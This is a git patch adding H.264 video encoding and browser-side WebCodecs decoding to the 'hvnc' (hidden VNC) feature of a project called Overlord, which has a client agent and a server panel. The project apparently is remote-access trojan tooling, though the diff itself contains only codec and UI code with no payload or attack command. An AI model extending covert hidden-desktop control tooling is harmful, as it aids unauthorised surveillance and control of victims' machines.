From 82f63477dfa00fdd76a37be47f67d85969506400 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Thu, 5 Mar 2026 18:16:41 -0600 Subject: [PATCH] add h264 to hvnc --- Overlord-Client/cmd/agent/capture/capture.go | 17 +++ Overlord-Server/public/assets/hvnc.js | 152 ++++++++++++++++++- Overlord-Server/public/hvnc.html | 8 + Overlord-Server/public/index.html | 2 +- 4 files changed, 177 insertions(+), 2 deletions(-) diff --git a/Overlord-Client/cmd/agent/capture/capture.go b/Overlord-Client/cmd/agent/capture/capture.go index 82cf248..26f5a30 100644 --- a/Overlord-Client/cmd/agent/capture/capture.go +++ b/Overlord-Client/cmd/agent/capture/capture.go @@ -560,6 +560,23 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time codec := blockCodec() now := time.Now() + if codec == "h264" { + h264Bytes, err := encodeH264Frame(img) + if err == nil && len(h264Bytes) > 0 { + prevMu.Lock() + copyPrev(img) + prevMu.Unlock() + lastKeyframe.Store(now.UnixNano()) + statFullFrames.Add(1) + frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "h264", HVNC: true}, Data: h264Bytes} + return frame, time.Since(encStart), nil + } + h264WarnOnce.Do(func() { + log.Printf("hvnc capture: h264 encode unavailable, falling back to jpeg: %v", err) + }) + codec = "jpeg" + } + prevMu.Lock() pf := prevFrame prevMu.Unlock() diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js index a382644..c7868cb 100644 --- a/Overlord-Server/public/assets/hvnc.js +++ b/Overlord-Server/public/assets/hvnc.js @@ -27,6 +27,8 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; const cursorCtrl = document.getElementById("cursorCtrl"); const qualitySlider = document.getElementById("qualitySlider"); const qualityValue = document.getElementById("qualityValue"); + const codecH264 = document.getElementById("codecH264"); + const codecMode = document.getElementById("codecMode"); const canvas = document.getElementById("frameCanvas"); const canvasContainer = document.getElementById("canvasContainer"); const contextMenu = document.getElementById("hvncContextMenu"); @@ -46,9 +48,32 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; let offlineTimer = null; let pendingMove = null; let moveTimer = null; + let videoDecoder = null; + let h264TimestampUs = 0; + const codecPrefKey = "hvncCodecPreferH264"; + let prefersH264 = typeof VideoDecoder === "function"; let lastMoveSentAt = 0; const mouseMoveIntervalMs = 33; const inputBackpressureBytes = 256 * 1024; + + const storedCodecPref = localStorage.getItem(codecPrefKey); + if (storedCodecPref === "0") { + prefersH264 = false; + } else if (storedCodecPref === "1") { + prefersH264 = typeof VideoDecoder === "function"; + } + if (codecH264) { + codecH264.checked = prefersH264; + codecH264.disabled = typeof VideoDecoder !== "function"; + } + + function setCodecModeLabel(mode, detail) { + if (!codecMode) return; + const suffix = detail ? ` (${detail})` : ""; + codecMode.textContent = `Codec: ${String(mode || "auto").toUpperCase()}${suffix}`; + } + + setCodecModeLabel(prefersH264 ? "h264" : "jpeg", "preferred"); setStreamState("connecting", "Connecting"); function updateFpsDisplay(agentValue) { @@ -237,11 +262,106 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; function pushQuality(val) { const q = Number(val) || 90; - const codec = q >= 100 ? "raw" : "jpeg"; + const codec = q >= 100 ? "raw" : (prefersH264 ? "h264" : "jpeg"); console.debug("hvnc: pushQuality val=", val, "q=", q, "codec=", codec); + setCodecModeLabel(codec, "requested"); sendCmd("hvnc_set_quality", { quality: q, codec }); } + if (codecH264) { + codecH264.addEventListener("change", function () { + prefersH264 = !!codecH264.checked && typeof VideoDecoder === "function"; + localStorage.setItem(codecPrefKey, prefersH264 ? "1" : "0"); + if (!prefersH264) { + destroyVideoDecoder(); + } + if (qualitySlider) { + pushQuality(qualitySlider.value); + } + }); + } + + function destroyVideoDecoder() { + if (!videoDecoder) return; + try { + videoDecoder.close(); + } catch { + // Ignore decoder close errors. + } + videoDecoder = null; + h264TimestampUs = 0; + } + + function fallbackToJpegCodec(reason) { + if (!prefersH264) return; + prefersH264 = false; + destroyVideoDecoder(); + if (codecH264) codecH264.checked = false; + localStorage.setItem(codecPrefKey, "0"); + console.warn("hvnc: falling back to jpeg codec", reason || ""); + const q = Number(qualitySlider?.value) || 90; + setCodecModeLabel("jpeg", "fallback"); + if (ws.readyState === WebSocket.OPEN) { + sendCmd("hvnc_set_quality", { quality: q, codec: "jpeg" }); + } + } + + function isH264KeyFrame(data) { + for (let i = 0; i + 4 < data.length; i++) { + let startCodeLen = 0; + if (data[i] === 0x00 && data[i + 1] === 0x00 && data[i + 2] === 0x01) { + startCodeLen = 3; + } else if ( + i + 4 < data.length && + data[i] === 0x00 && + data[i + 1] === 0x00 && + data[i + 2] === 0x00 && + data[i + 3] === 0x01 + ) { + startCodeLen = 4; + } + if (!startCodeLen) continue; + const nalIndex = i + startCodeLen; + if (nalIndex >= data.length) break; + if ((data[nalIndex] & 0x1f) === 5) { + return true; + } + i = nalIndex; + } + return false; + } + + function ensureVideoDecoder() { + if (videoDecoder) return true; + if (typeof VideoDecoder !== "function") return false; + try { + videoDecoder = new VideoDecoder({ + output: (frame) => { + const width = frame.displayWidth || frame.codedWidth || canvas.width; + const height = frame.displayHeight || frame.codedHeight || canvas.height; + if (width > 0 && height > 0 && (canvas.width !== width || canvas.height !== height)) { + canvas.width = width; + canvas.height = height; + } + try { + ctx.drawImage(frame, 0, 0, canvas.width, canvas.height); + } finally { + frame.close(); + } + }, + error: (err) => { + console.warn("hvnc: h264 decoder error", err); + }, + }); + videoDecoder.configure({ codec: "avc1.42E01E", optimizeForLatency: true }); + return true; + } catch (err) { + console.warn("hvnc: h264 decoder unavailable", err); + fallbackToJpegCodec(err); + return false; + } + } + displaySelect.addEventListener("change", function () { console.debug("hvnc: select display", displaySelect.value); sendCmd("hvnc_select_display", { @@ -310,6 +430,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; if (format === 1) { const jpegBytes = buf.slice(8); + setCodecModeLabel("jpeg", "active"); const blob = new Blob([jpegBytes], { type: "image/jpeg" }); try { const bitmap = await createImageBitmap(blob); @@ -334,6 +455,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; } if (format === 2 || format === 3) { + setCodecModeLabel(format === 3 ? "raw" : "jpeg", "blocks"); if (buf.length < 8 + 8) return; const dv = new DataView(buf.buffer, 8); let pos = 0; @@ -388,6 +510,31 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; updateFpsDisplay(fps); return; } + + if (format === 4) { + setCodecModeLabel("h264", "active"); + const h264Bytes = buf.slice(8); + if (!h264Bytes.length) return; + if (!ensureVideoDecoder()) { + fallbackToJpegCodec("WebCodecs decoder unavailable"); + return; + } + const frameIntervalUs = Math.floor(1_000_000 / Math.max(1, fps || 25)); + const chunk = new EncodedVideoChunk({ + type: isH264KeyFrame(h264Bytes) ? "key" : "delta", + timestamp: h264TimestampUs, + data: h264Bytes, + }); + h264TimestampUs += frameIntervalUs; + try { + videoDecoder.decode(chunk); + updateFpsDisplay(fps); + } catch (err) { + console.warn("hvnc: h264 decode failed", err); + fallbackToJpegCodec(err); + } + return; + } } const msg = decodeMsgpack(buf); @@ -423,10 +570,12 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; ws.addEventListener("close", function () { desiredStreaming = false; + destroyVideoDecoder(); setStreamState("disconnected", "Disconnected"); }); ws.addEventListener("error", function () { + destroyVideoDecoder(); setStreamState("error", "WebSocket error"); }); @@ -551,6 +700,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; desiredStreaming = false; sendCmd("hvnc_stop", {}); } + destroyVideoDecoder(); } window.addEventListener("beforeunload", stopOnExit); diff --git a/Overlord-Server/public/hvnc.html b/Overlord-Server/public/hvnc.html index 9afae00..a310d8c 100644 --- a/Overlord-Server/public/hvnc.html +++ b/Overlord-Server/public/hvnc.html @@ -59,6 +59,14 @@ >95% +
+ + Codec: auto +